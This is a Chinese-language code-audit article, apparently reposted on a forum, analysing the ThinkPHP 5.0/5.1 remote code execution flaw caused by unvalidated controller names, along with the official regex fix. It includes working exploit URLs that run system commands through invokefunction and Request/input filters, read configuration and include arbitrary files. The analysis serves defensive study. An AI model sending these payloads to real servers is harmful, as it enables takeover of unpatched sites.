代码审计 | ThinkPHP5漏洞分析之代码执行(二)

论坛 期权论坛 期权     
红日安全   2019-6-15 11:31   2582   0
本系列文章将针对
  1. ThinkPHP
复制代码
的历史漏洞进行分析,今后爆出的所有
  1. ThinkPHP
复制代码
漏洞分析,也将更新于ThinkPHP-Vuln(https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析
  1. ThinkPHP
复制代码
中存在的
  1. 远程代码执行
复制代码
漏洞。
[h1]漏洞概要[/h1]本次漏洞存在于
  1. ThinkPHP
复制代码
底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致
  1. 远程代码执行漏洞
复制代码
的产生。漏洞影响版本:
  1. 5.0.7?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  2. [code]5.0.x
复制代码

?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
[h1]漏洞环境[/h1]通过以下命令获取测试环境代码:
composer create-project --prefer-dist topthink/think tpdemo
  1. composer.json
复制代码
文件的
  1. require
复制代码
字段设置成如下:
"require": {    "php": ">=5.6.0",    "topthink/framework": "5.1.30"},
然后执行
  1. composer update
复制代码
。接着访问
  1. http://localhost:8000/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
复制代码
链接,即可触发
  1. 远程代码执行漏洞
复制代码



[h1]漏洞分析[/h1]首先在官方发布的
  1. 5.1.31
复制代码
版本更新说明中,发现其中提到该版本包含了一个安全更新。


官方微信 公众号 中有对本次安全更新的些许描述:
本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
我们可以查阅其
  1. commit
复制代码
记录,发现其增加了对控制器名的检测。接下来,我们直接跟进代码一探究竟。


这次我们不再直接跟着
  1. payload
复制代码
进行漏洞分析,而是通过官方的些许描述和
  1. github commit
复制代码
记录,来还原漏洞。首先,默认情况下安装的
  1. ThinkPHP
复制代码
是没有开启强制路由选项,而且默认开启路由兼容模式。


而从官方的更新描述中可以提取出两个关键点:
  • 控制器名
  • 强制路由
在没有开启强制路由,说明我们可以使用路由兼容模式
  1. s
复制代码
参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用
  1. http://site/?s=模块/控制器/方法
复制代码
来测试一下。在先前的
  1. ThinkPHP SQL注入
复制代码
分析文章中,我们都有提到所有用户参数都会经过
  1. Request
复制代码
类的
  1. input
复制代码
方法处理,该方法会调用
  1. filterValue
复制代码
方法,而
  1. filterValue
复制代码
方法中使用了
  1. call_user_func
复制代码
,那么我们就来尝试利用这个方法。访问如下链接:
http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd
会发现可以成功执行命令。接下来,我们直接在官方修改的
  1. $controller
复制代码
代码段打下断点。我们可以看到控制器的名字是从
  1. $result
复制代码
中获取的,而
  1. $result
复制代码
的值来源于兼容模式下的
  1. pathinfo
复制代码
,即
  1. s
复制代码
参数。


接着程序会跳回
  1. App
复制代码
类的
  1. run
复制代码
方法,进而调用
  1. Dispatch
复制代码
类的
  1. run
复制代码
方法,该方法会调用关键函数
  1. exec
复制代码
,我们跟进。


  1. exec
复制代码
函数中,程序利用反射机制,调用类的方法。这里的类、方法、参数均是我们可以控制的。而且整个过程,并没有看到程序对控制器名的合法性进行检测,这也是导致
  1. 远程代码执行漏洞
复制代码
的直接原因。


以上是针对
  1. ThinkPHP5.1.x
复制代码
版本的漏洞分析。如果直接拿该版本的
  1. payload
复制代码
去测试
  1. ThinkPHP5.0.x
复制代码
版本,会发现很多
  1. payload
复制代码
都不能成功。其原因是两个大版本已加载的类不同,导致可利用的类也不尽相同。具体如下:
ThinkPHP 5.1.x                  ThinkPHP 5.0.xstdClass                        stdClass Exception                       Exception ErrorException                  ErrorException Closure                         Closure Generator                       Generator DateTime                        DateTime DateTimeImmutable               DateTimeImmutable DateTimeZone                    DateTimeZone DateInterval                    DateInterval DatePeriod                      DatePeriod LibXMLError                     LibXMLError DOMException                    DOMException DOMStringList                   DOMStringList DOMNameList                     DOMNameList DOMImplementationList           DOMImplementationList DOMImplementationSource         DOMImplementationSource DOMImplementation               DOMImplementation DOMNode                         DOMNode DOMNameSpaceNode                DOMNameSpaceNode DOMDocumentFragment             DOMDocumentFragment DOMDocument                     DOMDocument DOMNodeList                     DOMNodeList DOMNamedNodeMap                 DOMNamedNodeMap DOMCharacterData                DOMCharacterData DOMAttr                         DOMAttr DOMElement                      DOMElement DOMText                         DOMText DOMComment                      DOMComment DOMTypeinfo                     DOMTypeinfo DOMUserDataHandler              DOMUserDataHandler DOMDomError                     DOMDomError DOMErrorHandler                 DOMErrorHandler DOMLocator                      DOMLocator DOMConfiguration                DOMConfiguration DOMCdataSection                 DOMCdataSection DOMDocumentType                 DOMDocumentType DOMNotation                     DOMNotation DOMEntity                       DOMEntity DOMEntityReference              DOMEntityReference DOMProcessingInstruction        DOMProcessingInstruction DOMStringExtend                 DOMStringExtend DOMXPath                        DOMXPath finfo                           finfo LogicException                  LogicException BadFunctionCallException        BadFunctionCallException BadMethodCallException          BadMethodCallException DomainException                 DomainException InvalidArgumentException        InvalidArgumentException LengthException                 LengthException OutOfRangeException             OutOfRangeException RuntimeException                RuntimeException OutOfBoundsException            OutOfBoundsException OverflowException               OverflowException RangeException                  RangeException UnderflowException              UnderflowException UnexpectedValueException        UnexpectedValueException RecursiveIteratorIterator       RecursiveIteratorIterator IteratorIterator                IteratorIterator FilterIterator                  FilterIterator RecursiveFilterIterator         RecursiveFilterIterator CallbackFilterIterator          CallbackFilterIterator RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator ParentIterator                  ParentIterator LimitIterator                   LimitIterator CachingIterator                 CachingIterator RecursiveCachingIterator        RecursiveCachingIterator NoRewindIterator                NoRewindIterator AppendIterator                  AppendIterator InfiniteIterator                InfiniteIterator RegexIterator                   RegexIterator RecursiveRegexIterator          RecursiveRegexIterator EmptyIterator                   EmptyIterator RecursiveTreeIterator           RecursiveTreeIterator ArrayObject                     ArrayObject ArrayIterator                   ArrayIterator RecursiveArrayIterator          RecursiveArrayIterator SplFileInfo                     SplFileInfo DirectoryIterator               DirectoryIterator FilesystemIterator              FilesystemIterator RecursiveDirectoryIterator      RecursiveDirectoryIterator GlobIterator                    GlobIterator SplFileObject                   SplFileObject SplTempFileObject               SplTempFileObject SplDoublyLinkedList             SplDoublyLinkedList SplQueue                        SplQueue SplStack                        SplStack SplHeap                         SplHeap SplMinHeap                      SplMinHeap SplMaxHeap                      SplMaxHeap SplPriorityQueue                SplPriorityQueue SplFixedArray                   SplFixedArray SplObjectStorage                SplObjectStorage MultipleIterator                MultipleIterator SessionHandler                  SessionHandler ReflectionException             ReflectionException Reflection                      Reflection ReflectionFunctionAbstract      ReflectionFunctionAbstract ReflectionFunction              ReflectionFunction ReflectionParameter             ReflectionParameter ReflectionMethod                ReflectionMethod ReflectionClass                 ReflectionClass ReflectionObject                ReflectionObject ReflectionProperty              ReflectionProperty ReflectionExtension             ReflectionExtension ReflectionZendExtension         ReflectionZendExtension __PHP_Incomplete_Class          __PHP_Incomplete_Class php_user_filter                 php_user_filter Directory                       Directory SimpleXMLElement                SimpleXMLElement SimpleXMLIterator               SimpleXMLIterator SoapClient                      SoapClient SoapVar                         SoapVar SoapServer                      SoapServer SoapFault                       SoapFault SoapParam                       SoapParam SoapHeader                      SoapHeader PharException                   PharException Phar                            Phar PharData                        PharData PharFileInfo                    PharFileInfo XMLReader                       XMLReader XMLWriter                       XMLWriter ZipArchive                      ZipArchive PDOException                    PDOException PDO                             PDO PDOStatement                    PDOStatement PDORow                          PDORow CURLFile                        CURLFile Collator                        Collator NumberFormatter                 NumberFormatter Normalizer                      Normalizer Locale                          Locale MessageFormatter                MessageFormatter IntlDateFormatter               IntlDateFormatter ResourceBundle                  ResourceBundle Transliterator                  Transliterator IntlTimeZone                    IntlTimeZone IntlCalendar                    IntlCalendar IntlGregorianCalendar           IntlGregorianCalendar Spoofchecker                    Spoofchecker IntlException                   IntlException IntlIterator                    IntlIterator IntlBreakIterator               IntlBreakIterator IntlRuleBasedBreakIterator      IntlRuleBasedBreakIterator IntlCodePointBreakIterator      IntlCodePointBreakIterator IntlPartsIterator               IntlPartsIterator UConverter                      UConverter JsonIncrementalParser           JsonIncrementalParser mysqli_sql_exception            mysqli_sql_exception mysqli_driver                   mysqli_driver mysqli                          mysqli mysqli_warning                  mysqli_warning mysqli_result                   mysqli_result mysqli_stmt                     mysqli_stmt Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9            Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c think\Loader                    think\Loaderthink\Error                     think\Error think\Container                 think\Config think\App                       think\App think\Env                       think\Request think\Config                    think\Hook think\Hook                      think\Env think\Facade                    think\Lang think\facade\Env                think\Log env                             think\Routethink\Db think\Lang think\Request think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Log think\log\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File
[h1]漏洞修复[/h1]官方的修复方法是:增加正则表达式
  1. ^[A-Za-z](\w)*$
复制代码
,对控制器名进行合法性检测。


[h1]攻击总结[/h1]最后,再通过一张攻击流程图来回顾整个攻击过程。


  end  


红日安全
做安全技术的交流与传播

分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:10
帖子:2
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP